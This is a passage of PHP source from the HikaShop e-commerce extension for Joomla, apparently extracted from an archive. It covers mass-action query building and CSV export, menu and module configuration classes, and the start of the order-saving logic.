						$query = 'SELECT '.implode(',',$columns).',
address_user_id, address_default, address_id';
						$query .= ' FROM '.hikashop_table('address');
						$query .= ' WHERE address_user_id IN
('.implode(',',$ids).') AND address_published =
1';
						$query .= ' ORDER BY address_default DESC, address_id
DESC';

						break;
					case 'joomla_users':
						foreach($columns as $k => $column){
							$columns[$k] = 'user.'.$column;
						}
						$query = 'SELECT DISTINCT
'.implode(',',$columns).', user.id as
\'joomla_users_id\'';
						$query .= ' FROM
'.hikashop_table('users',false).' AS user';
						$query .= ' INNER JOIN
'.hikashop_table('user').' AS hk_user ON user.id =
hk_user.user_cms_id';
						$query .= ' WHERE hk_user.user_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY id ASC';
						break;
					case 'usergroups':
						$query = 'SELECT DISTINCT usergroups.title, hk_user.user_id,
usergroups.id as \'usergroups_id\'';
						$query .= ' FROM
'.hikashop_table('usergroups',false).' AS
usergroups';
						$query .= ' INNER JOIN
'.hikashop_table('user_usergroup_map',false).' AS
user_usergroup ON usergroups.id = user_usergroup.group_id';
						$query .= ' INNER JOIN
'.hikashop_table('users',false).' AS user ON user.id =
user_usergroup.user_id';
						$query .= ' INNER JOIN
'.hikashop_table('user').' AS hk_user ON user.id =
hk_user.user_cms_id';
						$query .= ' WHERE hk_user.user_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY usergroups.id ASC';
						break;
				}
				break;
			case 'address':
				switch($switch_table){
					case 'user':
						foreach($columns as $k => $column){
							$columns[$k] = 'user.'.$column;
						}
						$query = 'SELECT DISTINCT
'.implode(',',$columns).', user.user_id';
						$query .= ' FROM '.hikashop_table('user').'
AS user';
						$query .= ' INNER JOIN
'.hikashop_table('address').' AS address ON
user.user_id = address.address_user_id';
						$query .= ' WHERE address.address_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY user_id ASC';
						break;
					case 'joomla_users':
						foreach($columns as $k => $column){
							$columns[$k] = 'user.'.$column;
						}
						$query = 'SELECT DISTINCT '.implode(',
',$columns).', user.id as \'joomla_users_id\',
hk_user.user_id';
						$query .= ' FROM
'.hikashop_table('users',false).' AS user';
						$query .= ' INNER JOIN
'.hikashop_table('user').' AS hk_user ON user.id =
hk_user.user_cms_id';
						$query .= ' INNER JOIN
'.hikashop_table('address').' AS address ON
hk_user.user_id = address.address_user_id';
						$query .= ' WHERE address.address_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY id ASC';
						break;
				}
				break;
		}
		if(!empty($query)){
			$database->setQuery($query);
			$rows = $database->loadObjectList();
			return $rows;
		}
	}
	function
_onProcessMassFilteraccessLevel(&$elements,&$query,$filter,$num,$type='product'){
		$column_name = $type.'_access';
		if(count($elements)){
			foreach($elements as $k => $element){
				if(empty($filter['type']) || $filter['type'] ==
'IN'){
					if($element->$column_name=='all' ||
strpos($element->$column_name,','.$filter['group'].',')!==false){
						continue;
					}
				}else{
					if(strpos($element->$column_name,','.$filter['group'].',')===false){
						continue;
					}
				}
				unset($elements[$k]);
			}
		}else{
			$type = 'hk_'.$type;
			$operator = (empty($filter['type']) ||
$filter['type'] == 'IN') ? 'LIKE' : "NOT
LIKE";
			$where = $type.'.'.$column_name.' '.$operator."
'%,".(int)$filter['group'].",%'";
			if($operator=='LIKE')$where.= ' OR
'.$type.'.'.$column_name."='all'";
			else $where.= ' AND
'.$type.'.'.$column_name."!='all'";
			$query->where[] = $where;
		}
	}

	function _exportCSV($params){
		$config =& hikashop_config();
		$export = hikashop_get('helper.spreadsheet');
		$massaction = hikashop_get('class.massaction');
		switch($params->formatExport){
			case 'csv':
				$format = $config->get('export_format','csv');
				$separator = $config->get('csv_separator',';');
				$force_quote = $config->get('csv_force_quote',1);
				$export->init($format, 'hikashop_export', $separator,
$force_quote);
				break;
			case 'xls':
				$format = 'xls';
				$export->init($format,
'hikashop_export',';',true);
				break;
		}

		if(!empty($params->action)){
			$row = array();
			foreach($params->action as $keyTable=>$table){
				$massaction->organizeExportColumn($params->table,$keyTable,$params->elements,$params->action,$params->types);
			}

			foreach($params->action as $keyTable=>$table){
				foreach($table as $column){
					$row[] = $column;
				}
			}
			$export->writeLine($row);
		}
		JRequest::setVar('from_task','exportCsv');
		if(!empty($params->action)){
			foreach($params->elements as $k1=>$element){
				$row = array();
				foreach($params->action as $key=>$table){
					foreach($table as $column){
						$find = false;
						$square = '';
						if(isset($element->$column) && ($key===$k1 ||
$key===$params->table)){
							$square .=
$massaction->displayByType($params->types,$element,$column);
							$find = true;
						}else{
							$r = array();
							foreach($element as $k=>$elem){
								if(!is_array($elem)){continue;}
								foreach($elem as $data){
									if(!isset($data->$column)){continue;}
									if($k != $key){continue;}
									$r[] =
$massaction->displayByType($params->types,$data,$column);
									$find = true;
								}
							}
							$square .= $massaction->separator($r,$params->table,$key);
						}
						if(!$find){
							$row[]='';
						}else{
							$row[]=$square;
						}
					}
				}
				$export->writeLine($row);
			}
		}
		if(empty($params->path)){
			$export->send();
		}else{
			$file = hikashop_get('class.file');
			$name = '';

			$path = explode(DS,$params->path);
			$name = $path[count($path)-1];
			unset($path[count($path)-1]);
			$params->path = implode(DS,$path);
			$uploadFolder =
rtrim(JPath::clean(html_entity_decode($params->path)), DS.'
').DS;
			if(!preg_match('#^([A-Z]:)?/.*#',$uploadFolder)) {
				if(!$uploadFolder[0]=='/' || !is_dir($uploadFolder)) {
					$uploadFolder =
JPath::clean($file->getPath('file').trim($uploadFolder,
DS.' ').DS);
				}
			}
			if(strstr($name,'.')){
				JFile::write($uploadFolder.$name, $export->buffer);
			}
		}

	}
}


class HikaShopQuery{
	var $leftjoin = array();
	var $join = array();
	var $where = array();
	var $from = '#__hikashop_product as product';
	var $select = array('product.*');
	var $start = 0;
	var $value = 500;

	function HikaShopQuery(){
		$this->db = JFactory::getDBO();
	}

	function count($type='hk_product.product_id'){
		$myquery = $this->getQuery(array('COUNT(DISTINCT
'.$type.')'));
		$this->db->setQuery($myquery);
		return $this->db->loadResult();
	}

	function execute(){
		$this->db->setQuery($this->getQuery(),$this->start,$this->value);
		return $this->db->loadObjectList();
	}

	function getQuery($select = array()){
		$query = '';
		if(!empty($select))	$query .= ' SELECT
'.implode(',',$select);
		elseif(!empty($this->select)) $query .= ' SELECT
'.implode(',',$this->select);
		if(!empty($this->from)) $query .= ' FROM '.$this->from;
		if(!empty($this->join)) $query .= ' JOIN '.implode('
JOIN ',$this->join);
		if(!empty($this->leftjoin)) $query .= ' LEFT JOIN
'.implode(' LEFT JOIN ',$this->leftjoin);
		if(!empty($this->where)) $query .= ' WHERE
('.implode(') AND (',$this->where).')';

		return $query;
	}

	function convertQuery($as,$column,$operator,$value){
		if($operator == 'CONTAINS'){
			$operator = 'LIKE';
			$value = '%'.$value.'%';
		}elseif($operator == 'BEGINS'){
			$operator = 'LIKE';
			$value = $value.'%';
		}elseif($operator == 'END'){
			$operator = 'LIKE';
			$value = '%'.$value;
		}elseif($operator == 'NOTCONTAINS'){
			$operator = 'NOT LIKE';
			$value = '%'.$value.'%';
		}elseif(!in_array($operator,array('REGEXP','NOT
REGEXP','IS NULL','IS NOT NULL','NOT
LIKE','LIKE','=','!=','>','<','>=','<='))){
			die('Operator not safe : '.$operator);
		}

		 if(strpos($value,'{time}') !== false){
			 $value = $this->_replaceDate($value);
			 $value = strftime('%Y-%m-%d %H:%M:%S',$value);
		 }

		 $replace =
array('{year}','{month}','{day}');
		 $replaceBy =
array(date('Y'),date('m'),date('d'));
		 $value = str_replace($replace,$replaceBy,$value);

		if(!is_numeric($value) OR
in_array($operator,array('REGEXP','NOT
REGEXP','NOT LIKE','LIKE'))){
			$value = $this->db->Quote($value);
		}

		if(in_array($operator,array('IS NULL','IS NOT
NULL'))){
			$value = '';
		}

		return $as.'.`'.hikashop_secureField($column).'`
'.$operator.' '.$value;
	}

	function _replaceDate($mydate){

		if(strpos($mydate,'{time}') === false) return $mydate;

		$mydate = str_replace('{time}',time(),$mydate);
		$operators = array('+','-');
		foreach($operators as $oneOperator){
			if(!strpos($mydate,$oneOperator)) continue;
			list($part1,$part2) = explode($oneOperator,$mydate);
			if($oneOperator == '+'){
				$mydate = trim($part1) + trim($part2);
			}elseif($oneOperator == '-'){
				$mydate = trim($part1) - trim($part2);
			}
		}

		return $mydate;
	}
}
menus.php000064400000027217151160302620006411 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopMenusClass extends hikashopClass{
	var $pkeys=array('id');
	var $toggle = array('published'=>'id');
	function getTable(){
		return hikashop_table('menu',false);
	}

	function get($id,$default=''){
		$obj = parent::get($id);
		$config =& hikashop_config();
		if(is_null($obj)) $obj = new stdClass();
		if(!empty($obj->id)){
			$obj->hikashop_params =
$config->get('menu_'.$obj->id,null);
		}
		if(empty($obj->hikashop_params)){
			$obj->hikashop_params =
$config->get('default_params',null);
		}

		$this->loadParams($obj);
		return $obj;
	}

	function loadParams(&$result){
		if(!empty($result->params)){
			$lines = explode("\n",$result->params);
			$result->params = array();
			foreach($lines as $line){
				$param = explode('=',$line,2);
				if(count($param)==2){
					$result->params[$param[0]]=$param[1];
				}
			}
		}
	}

	function saveForm(){
		$module = new stdClass();
		$formData = JRequest::getVar( 'menu', array(), '',
'array' );
		if(!empty($formData)){
			foreach($formData as $column => $value){
				hikashop_secureField($column);
				if(is_array($value)){
					$module->$column=array();
					foreach($value as $k2 => $v2){
						hikashop_secureField($k2);
						$module->{$column}[$k2] = strip_tags($v2);
					}
				}else{
					$module->$column = strip_tags($value);
				}
			}
			if(in_array($module->content_type,array('category','manufacturer'))){
				$module->link='index.php?option=com_hikashop&view=category&layout=listing';
			}else{
				$module->link='index.php?option=com_hikashop&view=product&layout=listing';
			}
			$content_type = $module->content_type;
			unset($module->content_type);
		}
		$new = false;
		if(empty($module->id)){
			$new = true;
			if(empty($module->alias)){
				if(version_compare(JVERSION,'1.6','<')){
					$module->alias = $module->name;
				}else{
					$module->alias = $module->title;
				}
				$module->alias =
preg_replace('#[^a-z_0-9-]#i','',$module->alias);
			}
		}
		$result = $this->save($module);
		if($result)
		{
			$element = array();
			$formData = JRequest::getVar( 'config', array(), '',
'array' );
			$params_name = 'menu_'.(int)$module->id;
			if($new){
				$post_name = 'menu_0';
			}else{
				$post_name = $params_name;
			}
			if(!empty($formData[$post_name])){
				foreach($formData[$post_name] as $column => $value){
					hikashop_secureField($column);
					$element[$column] = strip_tags($value);
				}
				if(empty($element['selectparentlisting'])){
					$cat = hikashop_get('class.category');
					$mainProductCategory = 'product';
					$cat->getMainElement($mainProductCategory);
					$element['selectparentlisting']=$mainProductCategory;
				}
			}

			$element['content_type']=$content_type;
			if(in_array($element['content_type'],array('category','manufacturer'))
&& empty($element['modules'])){
				$this->displayErrors((int)$module->id);
			}
			$configClass =& hikashop_config();
			$config=new stdClass();
			$config->$params_name = $element;

			if($configClass->save($config)){
				$configClass->set($params_name,$element);
			}
			if (!empty($element['modules']))
			{
				$modules = explode(',',$element['modules']);
				$class = hikashop_get('class.modules');
				foreach($modules as $moduleId){
					$_REQUEST['moduleconfig']['params_'.$moduleId]['id']=$moduleId;
				}
				foreach($modules as $moduleId){
					$status = $class->saveForm($moduleId);
				}
			}
		}
		return $result;
	}

	function displayErrors($id){
		static $displayed = false;
		if(!$displayed){
			$displayed = true;
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('MENU_WITHOUT_ASSOCIATED_MODULE'));
			$app->enqueueMessage(JText::_('ASSOCIATED_MODULE_NEEDED'));
			$app->enqueueMessage(JText::sprintf('ADD_MODULE_AUTO',hikashop_completeLink('menus&task=add_module&cid='.$id.'&'.hikashop_getFormToken().'=1')));
		}
	}

	function save(&$element){
		if(version_compare(JVERSION,'1.6','<')){
			$query="SELECT a.id FROM
".hikashop_table('components',false).' AS a WHERE
a.option=\''.HIKASHOP_COMPONENT.'\'';
			$this->database->setQuery($query);
			$element->componentid = $this->database->loadResult();
		}else{
			$query="SELECT a.extension_id FROM
".hikashop_table('extensions',false).' AS a WHERE
a.type=\'component\' AND
a.element=\''.HIKASHOP_COMPONENT.'\'';
			$this->database->setQuery($query);
			$element->component_id = $this->database->loadResult();
		}
		if(empty($element->id)){
			$element->params['show_page_title']=1;
		}
		if(!empty($element->params)&&is_array($element->params)){
			$params = '';
			foreach($element->params as $k => $v){
				$params.=$k.'='.$v."\n";
			}
			$element->params = rtrim($params,"\n");
		}
		$element->id = parent::save($element);
		return $element->id;
	}

	function delete(&$elements){
		$result = parent::delete($elements);
		if($result){
			if(!is_array($elements)){
				$elements=array($elements);
			}
			if(!empty($elements)){
				$ids = array();
				foreach($elements as $id){
					$ids[]=$this->database->Quote('menu_'.(int)$id);
				}
				$query = 'DELETE FROM
'.hikashop_table('config').' WHERE config_namekey IN
('.implode(',',$ids).');';
				$this->database->setQuery($query);
				return $this->database->query();
			}
		}
		return $result;
	}

	function attachAssocModule($id){
		$menu = $this->get($id);
		if(!empty($menu->link) &&
strpos($menu->link,'view=product')===false){
			if($menu->hikashop_params['content_type']!='manufacturer'){
				$menu->hikashop_params['content_type']='category';
			}
		}else{
			$menu->hikashop_params['content_type']='category';
		}
		$params =& $menu->hikashop_params;
		$module_id = $this->createAssocModule($params,$id);
		if(!empty($module_id)){
			$configData=new stdClass();
			$params['modules']=$module_id;
			$name = 'menu_'.$id;
			$configData->$name = $params;
			$config =& hikashop_config();
			if($config->save($configData)){
				$config->set($name,$params);
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_( 'HIKASHOP_SUCC_SAVED' ));
			}
		}
		return true;
	}
	function createMenu(&$moduleOtpions,$id){

		$alias = 'hikashop-menu-for-module-'.$id;
		$this->database->setQuery('SELECT id FROM
'.hikashop_table('menu',false).' WHERE
alias=\''.$alias.'\'');
		$moduleOtpions['itemid'] =
$this->database->loadResult();
		if(empty($moduleOtpions['itemid'])){
			$this->database->setQuery('SELECT menutype FROM
'.hikashop_table('menu_types',false).' WHERE
menutype=\'hikashop_hidden\'');
			$mainMenu = $this->database->loadResult();
			if(empty($mainMenu)){
				$this->database->setQuery('INSERT INTO
'.hikashop_table('menu_types',false).' (
`menutype`,`title`,`description` ) VALUES (
\'hikashop_hidden\',\'HikaShop hidden
menus\',\'This menu is used by HikaShop to store menus
configurations\' )');
				$this->database->query();
			}
			if(version_compare(JVERSION,'1.6','<')){
				$element = new stdClass();
				$element->menutype = 'hikashop_hidden';
				$element->alias = $alias;
				$element->link =
'index.php?option=com_hikashop&view=category&layout=listing';
				$element->type = 'component';
				$element->published = 1;
				$element->name = 'Menu item for category listing module
'.$id;
				$this->save($element);
				$this->database->setQuery('SELECT id FROM
'.hikashop_table('menu',false).' WHERE
alias=\''.$element->alias.'\'');
				$moduleOtpions['itemid'] =
$this->database->loadResult();
			}else{
				$this->database->setQuery('SELECT rgt FROM
'.hikashop_table('menu',false).' WHERE id=1');
				$root = $this->database->loadResult();
				$element = new stdClass();
				$element->menutype = 'hikashop_hidden';
				$element->alias = $alias;
				$element->link =
'index.php?option=com_hikashop&view=category&layout=listing';
				$element->type = 'component';
				$element->published = 1;
				$element->client_id = 0;
				$element->language = '*';
				$element->access = 1;
				$element->lft = $root;
				$element->rgt = $root+1;
				$element->level = 1;
				$element->parent_id = 1;
				$element->title = 'Menu item for category listing module
'.$id;
				$this->save($element);
				$this->database->setQuery('UPDATE
'.hikashop_table('menu',false).' SET
rgt='.($root+2).' WHERE id=1');
				$this->database->query();
				$this->database->setQuery('SELECT id FROM
'.hikashop_table('menu',false).' WHERE
alias=\''.$element->alias.'\'');
				$moduleOtpions['itemid'] =
$this->database->loadResult();
			}
		}
		if(!empty($moduleOtpions['itemid'])){
			$menuData = new stdClass();
			$menuData->id = $moduleOtpions['itemid'];
			$this->createMenuOption($menuData,$moduleOtpions);
		}
	}
	function createMenuOption(&$menuData,$default_params=null){

		$configClass =& hikashop_config();
		if(empty($default_params)){
			if(!isset($default_params['columns']))$default_params['columns']
= 1;
			$default_params = $configClass->get('default_params');
			$default_params['content_type'] = 'category';
			$default_params['layout_type']='div';
			$default_params['content_synchronize']='1';
			if($default_params['columns']==1){
				$default_params['columns']=3;
			}
		}

		$id = (int)@$menuData->id;
		$default_params['modules']='';
		$default_params['modules']=(int)$this->createAssocModule($default_params,$id);
		$name = 'menu_'.$id;
		$config=new stdClass();
		$config->$name = $default_params;
		if($configClass->save($config)){
			$configClass->set($name,$default_params);
		}
		$menuData->hikashop_params = $default_params;
		return true;
	}

	function createAssocModule(&$params,$id){
		if(!empty($params['modules'])){
			if(is_array($params['modules'])){
				$ids = implode(',',$params['modules']);
			}
			else{
				$ids = (int)$params['modules'];
			}
			$this->database->setQuery('SELECT * FROM
'.hikashop_table('modules',false).' WHERE id IN
('.$ids.');');
			$modulesData = $this->database->loadObjectList('id');
			if(!is_array($modulesData) || !count($modulesData)){
				$params['modules']='';
			}
		}
		if(!empty($params['content_type']) &&
in_array($params['content_type'],array('category','manufacturer'))&&empty($params['modules'])){
			$config =& hikashop_config();
			$default_params = $config->get('default_params');
			$default_params['content_type'] = 'product';
			$default_params['layout_type']='div';
			$default_params['random']=0;
			$default_params['content_synchronize']='1';
			if(!isset($default_params['columns']))$default_params['columns']
= 1;
			if($default_params['columns']==1){
				$default_params['columns']=3;
			}
			$module = new stdClass();
			$module->hikashop_params = $default_params;
			$module->title = 'Associated products listing for
'.$params['content_type'].' listing menu '.$id;
			$module->published=0;
			$module->position='left';
			$module->ordering=0;
			$module->module='mod_hikashop';
			$module->client_id=0;
			$module->showtitle=0;
			$class = hikashop_get('class.modules');
			return $class->save($module);
		}
		return false;
	}

	function getItemidFromCategory($category_id) {
		$config = & hikashop_config();
		$values = $config->values;
		foreach ($values as $key => $value) {
			if (preg_match('#menu_([0-9]+)#', $key, $match)  &&
is_string($value->config_value)) {
				$options = unserialize(base64_decode($value->config_value));
				if (isset($options['selectparentlisting']) &&
$options['selectparentlisting'] == $category_id) {
					return $match[1];
				}
			}
		}
		return false;
	}
}
modules.php000064400000010355151160302620006725 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopModulesClass extends hikashopClass{
	var $pkeys=array('id');
	var $toggle = array('published'=>'id');
	function getTable(){
		return hikashop_table('modules',false);
	}

	function get($id,$default=''){
		$obj = parent::get($id);
		$config =& hikashop_config();
		if(is_null($obj)){
			$obj= new stdClass();
		}
		if(!empty($obj->id)){
			$obj->hikashop_params =
$config->get('params_'.$obj->id,null);
		}
		if(empty($obj->hikashop_params)){
			$obj->hikashop_params =
$config->get('default_params',null);
		}
		$this->loadParams($obj);
		return $obj;
	}

	function loadParams(&$result){
		if(!empty($result->params)){
			if(version_compare(JVERSION,'1.6','<')){
				$lines = explode("\n",$result->params);
				$result->params = array();
				foreach($lines as $line){
					$param = explode('=',$line,2);
					if(count($param)==2){
						$result->params[$param[0]]=$param[1];
					}
				}
			}else{
				$registry = new JRegistry;
				if(!HIKASHOP_J30)
					$registry->loadJSON($result->params);
				else
					$registry->loadString($result->params);
				$result->params = $registry->toArray();
			}
		}
	}

	function saveForm($id=null){
		$module = new stdClass();
		$formData = JRequest::getVar( 'module', array(), '',
'array' );
		if(!empty($formData)){
			foreach($formData as $column => $value){
				hikashop_secureField($column);
				if(is_array($value)){
					$module->$column=array();
					foreach($value as $k2 => $v2){
						hikashop_secureField($k2);
						$module->{$column}[$k2] = strip_tags($v2);
					}
				}else{
					$module->$column = strip_tags($value);
				}
			}
		}

		$element = array();
		$formData = JRequest::getVar( 'config', array(), '',
'array' );
		if (isset($module->id) && empty($id))
			$params_name = 'params_'.(int)$module->id;
		else
			$params_name = 'params_'.(int)$id;

		if(!empty($formData[$params_name])){
			foreach($formData[$params_name] as $column => $value){
				hikashop_secureField($column);
				$element[$column] = strip_tags($value);
			}
			if(empty($element['selectparentlisting'])){
				$cat = hikashop_get('class.category');
				$mainProductCategory = 'product';
				$cat->getMainElement($mainProductCategory);
				$element['selectparentlisting']=$mainProductCategory;
			}
		}

		$formData = JRequest::getVar( 'moduleconfig', array(),
'', 'array' );

		if(!empty($formData[$params_name])){
			foreach($formData[$params_name] as $column => $value){
				hikashop_secureField($column);
				$module->$column = strip_tags($value);
			}
		}
		$module->hikashop_params =& $element;
		$result = $this->save($module);
		return $result;
	}

	function save(&$element){

		if(!empty($element->params)&&is_array($element->params)){
			if(version_compare(JVERSION,'1.6','<')){
				$params = '';
				foreach($element->params as $k => $v){
					$params.=$k.'='.$v."\n";
				}
				$element->params = rtrim($params,"\n");
			}else{
				$handler = JRegistryFormat::getInstance('JSON');
				$element->params =
$handler->objectToString($element->params);
			}
		}
		$element->id = parent::save($element);

		if($element->id && !empty($element->hikashop_params)){
			$configClass =& hikashop_config();
			$config=new stdClass();
			$params_name = 'params_'.$element->id;
			$config->$params_name = $element->hikashop_params;
			if($configClass->save($config)){
				$configClass->set($params_name,$element->hikashop_params);
			}
		}
		return $element->id;
	}

	function delete(&$elements){
		$result = parent::delete($elements);
		if($result){
			if(!is_array($elements)){
				$elements=array($elements);
			}
			if(!empty($elements)){
				$ids = array();
				foreach($elements as $id){
					$ids[]=$this->database->Quote('params_'.(int)$id);
				}
				$query = 'DELETE FROM
'.hikashop_table('config').' WHERE config_namekey IN
('.implode(',',$ids).');';
				$this->database->setQuery($query);
				return $this->database->query();
			}
		}
		return $result;
	}
}
order.php000064400000146454151160302620006402 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopOrderClass extends hikashopClass{
	var $tables = array('order_product','order');
	var $pkeys = array('order_id','order_id');
	var $mail_success = true;
	var $sendEmailAfterOrderCreation = true;

	function addressUsed($address_id,$order_id=0,$type='') {
		$filter = ' WHERE
(order_billing_address_id='.(int)$address_id.' OR
order_shipping_address_id='.(int)$address_id.')';
		if(!empty($order_id)&&!empty($type)&&in_array($type,array('shipping','billing')))
{
			if($type=='shipping'){
				$filter .= ' AND (order_id!='.$order_id.' OR
order_billing_address_id='.(int)$address_id.')';
			}else{
				$filter .= ' AND (order_id!='.$order_id.' OR
order_shipping_address_id='.(int)$address_id.')';
			}
		}
		$query = 'SELECT order_id FROM
'.hikashop_table('order').$filter.' LIMIT 1';
		$this->database->setQuery($query);
		return (bool)$this->database->loadResult();
	}

	function save(&$order) {
		$new = false;
		$config =& hikashop_config();
		if(empty($order->order_id)) {
			if(!is_object($order)) $order = new stdClass();
			$order->order_created = time();
			if(empty($order->order_type))
				$order->order_type = 'sale';
			$order->order_ip = hikashop_getIP();
			$order->old = new stdClass();
			if(empty($order->order_status)) {
				$order->order_status =
$config->get('order_created_status','pending');
			}
			if(empty($order->order_currency_id)) {
				$order->order_currency_id = hikashop_getCurrency();
			}
			$new = true;
		} else {
			if(empty($order->old)) {
				$order->old = $this->get($order->order_id);
			}
		}
		$order->order_modified = time();

		JPluginHelper::importPlugin('hikashop');
		JPluginHelper::importPlugin('hikashoppayment');
		JPluginHelper::importPlugin('hikashopshipping');
		$dispatcher = JDispatcher::getInstance();

		$order_type = '';
		if(!empty($order->old->order_type)) $order_type =
$order->old->order_type;
		if(!empty($order->order_type)) $order_type = $order->order_type;

		$recalculate=false;
		if(!empty($order->product)) {
			$do = true;
			$dispatcher->trigger('onBeforeOrderProductsUpdate',
array(&$order, &$do) );
			if(!$do)
				return false;

			$productClass = hikashop_get('class.order_product');
			if(is_array($order->product)) {
				foreach($order->product as $product) {
					$productClass->update($product);
				}
			} else {
				$productClass->update($order->product);
			}
			$recalculate = true;
		}

		if(!$new && (isset($order->order_shipping_price) ||
isset($order->order_payment_price) ||
isset($order->order_discount_price))) {
			if(isset($order->order_shipping_tax_namekey) ||
isset($order->order_discount_tax_namekey)) {
				if(!empty($order->old->order_tax_info)) {
					$order->order_tax_info = $order->old->order_tax_info;
					foreach($order->order_tax_info as $k => $tax) {
						if(isset($order->order_shipping_tax_namekey) &&
$tax->tax_namekey==$order->order_shipping_tax_namekey) {
							$order->order_tax_info[$k]->tax_amount_for_shipping =
@$order->order_shipping_tax;
							unset($order->order_shipping_tax_namekey);
						}
						if(isset($order->order_discount_tax_namekey) &&
$tax->tax_namekey==$order->order_discount_tax_namekey) {
							$order->order_tax_info[$k]->tax_amount_for_coupon =
@$order->order_discount_tax;
							unset($order->order_discount_tax_namekey);
						}
					}
				}
				if(isset($order->order_shipping_tax_namekey)) {
					$order->order_tax_info[$order->order_shipping_tax_namekey]=new
stdClass();
					$order->order_tax_info[$order->order_shipping_tax_namekey]->tax_namekey
= $order->order_shipping_tax_namekey;
					$order->order_tax_info[$order->order_shipping_tax_namekey]->tax_amount_for_shipping
= @$order->order_shipping_tax;
					unset($order->order_shipping_tax_namekey);
				}
				if(isset($order->order_discount_tax_namekey)) {
					$order->order_tax_info[$order->order_discount_tax_namekey]=new
stdClass();
					$order->order_tax_info[$order->order_discount_tax_namekey]->tax_namekey
= $order->order_discount_tax_namekey;
					$order->order_tax_info[$order->order_discount_tax_namekey]->tax_amount_for_coupon
= @$order->order_discount_tax;
					unset($order->order_discount_tax_namekey);
				}
			}
			$recalculate = true;
		}

		if($recalculate) {
			$this->recalculateFullPrice($order);
		}

		$do = true;
		if($new) {
			$dispatcher->trigger('onBeforeOrderCreate',
array(&$order, &$do) );
		} else {
			$dispatcher->trigger('onBeforeOrderUpdate',
array(&$order, &$do) );
		}

		if($do) {
			if(isset($order->value))unset($order->value);
			if(isset($order->order_current_lgid))unset($order->order_current_lgid);
			if(isset($order->order_current_locale))unset($order->order_current_locale);
			if(isset($order->mail_status))unset($order->mail_status);
			if(isset($order->order_tax_info) &&
!is_string($order->order_tax_info)) {
				$order->order_tax_info = serialize($order->order_tax_info);
			}
			if(isset($order->order_shipping_params) &&
!is_string($order->order_shipping_params)) {
				$order->order_shipping_params =
serialize($order->order_shipping_params);
			}
			if(isset($order->order_payment_params) &&
!is_string($order->order_payment_params)) {
				$order->order_payment_params =
serialize($order->order_payment_params);
			}
			if($config->get('update_stock_after_confirm') &&
isset($order->order_status) &&
isset($order->old->order_status) && $order_type ==
'sale'){
				if($order->old->order_status == 'created' &&
in_array($order->order_status,array('confirmed','shipped'))){
					$this->loadProducts($order);
					if(!empty($order->products)){
						$productClass = hikashop_get('class.order_product');
						foreach($order->products as $product) {
							$product->change = 'minus';
							$productClass->update($product);
							unset($product->change);
						}
					}
				}elseif(in_array($order->old->order_status,
array('shipped','confirmed')) &&
$order->order_status == 'created'){
					$this->loadProducts($order);
					if(!empty($order->products)){
						$productClass = hikashop_get('class.order_product');
						foreach($order->products as $product) {
							$product->change = 'plus';
							$productClass->update($product);
							unset($product->change);
						}
					}
				}
			}

			if(!empty($order->order_status) &&
empty($order->order_invoice_id) &&
empty($order->old->order_invoice_id) && $order_type ==
'sale') {
				$config =& hikashop_config();
				$valid_statuses = explode(',',
$config->get('invoice_order_statuses','confirmed,shipped'));
				$excludeFreeOrders =
$config->get('invoice_exclude_free_orders', 0);
				if(isset($order->order_full_price))
					$total = $order->order_full_price;
				else
					$total = $order->old->order_full_price;
				if(in_array($order->order_status, $valid_statuses) &&
($total > 0 || !$excludeFreeOrders)) {
					$query = 'SELECT MAX(a.order_invoice_id)+1 FROM
'.hikashop_table('order').' AS a WHERE a.order_type =
\'sale\'';
					$resetFrequency = $config->get('invoice_reset_frequency',
'');
					if(!empty($resetFrequency)) {
						$y = (int)date('Y');
						$m = 1;
						$d = 1;
						if($resetFrequency == 'month')
							$m = (int)date('m');

						if(strpos($resetFrequency, '/') !== false) {
							list($d,$m) = explode('/', $resetFrequency, 2);
							if($d == '*')
								$d = (int)date('d');
							else
								$d = (int)$d;

							if($m == '*')
								$m = (int)date('m');
							else
								$m = (int)$m;

							if($d <= 0) $d = 1;
							if($m <= 0) $m = 1;
						}

						$query .= ' AND a.order_invoice_created >= '.mktime(0,
0, 0, $m, $d, $y);
					}
					$this->database->setQuery($query);
					$order->order_invoice_id = $this->database->loadResult();
					$order->order_invoice_number = hikashop_encode($order,
'invoice');
					$order->order_invoice_created = time();
				}
			}

			if(empty($order->old))
				unset($order->old);

			$order->order_id = parent::save($order);

			if(isset($order->order_tax_info) &&
is_string($order->order_tax_info)) {
				$order->order_tax_info = unserialize($order->order_tax_info);
			}
			if(isset($order->order_payment_params) &&
is_string($order->order_payment_params)) {
				$order->order_payment_params =
unserialize($order->order_payment_params);
			}
			if(isset($order->order_shipping_params) &&
is_string($order->order_shipping_params)) {
				$order->order_shipping_params =
unserialize($order->order_shipping_params);
			}

			if(!empty($order->order_id)) {
				$productClass = hikashop_get('class.order_product');

				if($new && empty($order->order_number)) {
					$order->order_number = hikashop_encode($order);

					$updateOrder = new stdClass();
					$updateOrder->order_id = $order->order_id;
					$updateOrder->order_number = $order->order_number;

					$config =& hikashop_config();
					$valid_statuses = explode(',',
$config->get('invoice_order_statuses','confirmed,shipped'));
					$created_status = $config->get('order_created_status',
'created');
					if(in_array($created_status, $valid_statuses)) {
						$order->order_invoice_id = $order->order_id;
						$order->order_invoice_number = $order->order_number;
						$order->order_invoice_created = time();
						$updateOrder->order_invoice_id = $order->order_invoice_id;
